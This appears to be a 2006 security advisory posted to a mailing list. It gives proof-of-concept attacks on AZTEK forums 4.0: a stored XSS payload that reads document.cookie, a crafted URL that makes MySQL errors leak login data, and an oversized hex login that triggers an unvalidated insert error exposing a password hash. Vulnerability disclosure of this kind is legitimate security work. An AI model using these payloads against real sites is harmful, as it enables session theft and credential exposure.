billyhotmail.com
Date: Thu Mar 02 2006 - 16:46:59 CST

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/*==========================================*/
// AZTEK forums 4.0 multiple vulnerabilities (PoC)
// Product: AZTEK forums
// URL: http://www.forum-aztek.com/
// RISK: high
/*==========================================*/

[PoC]

1- XSS
        - Post a message including the following line:
</textarea>'"><script>alert(document.cookie)</script>

        - Valid.
        - Click on "Citer" to execute the script.

        You can also do it with the edit button (after loging in).

2-
        Do the following request :
http://SOME_HOST/forum/index.php?msg=*/*

        It will dump a MySQL error message which can dump login:pw infos.

3-
        - Register with :
        login : 6b 66 73 6a 64 61 20 54 50 68 70 45 72 72 6f 72 45 78 63 65
        70 74 69 6f 6e 0d 0a 44 65 73 63 72 69 70 74 69 6f 6e 0d 0a 5b 57 61
        72 6e 69 6e 67 5d 20 6d 79 73 71 6c 5f 63 6f 6e 6e 65 63 74 28 29 20
        5b 3c 61 20 68 72 65 66 3d 27 66 75
    [...a huge login name...]
        6e 63 74 69 6f 6e 2e 6d 79 73 71 6c 2d 63 6f 6e 6e 65 63 74 27 3e 66
        75 6e 63 74 69 6f 6e 2e 6d 79 73 71 6c 2d 63 6f 6e
        passwd:blabla
        email:blablagmail.com
        - Valid.

        This form is not validated at all, so it can cause a MySQL error like :

Mysql error in file /home/httpd/vhosts/www.**********.com/web/forum/index/actions.php in
function subscribe at line 222

Mysql query error :
        INSERT INTO atk_users (login,owner,passwd,email,show_email,alert_mp,subscribe)
                VALUES ('6b 66 73 6a 64 61 20 54 50 68 [...]','admin','atHax4CLQE42Q','blablagmail.com','1','1','1141202540')

Please note this error and contact your administrator.

--
PoC by lorenzo [GHT], http://ght.c.la/

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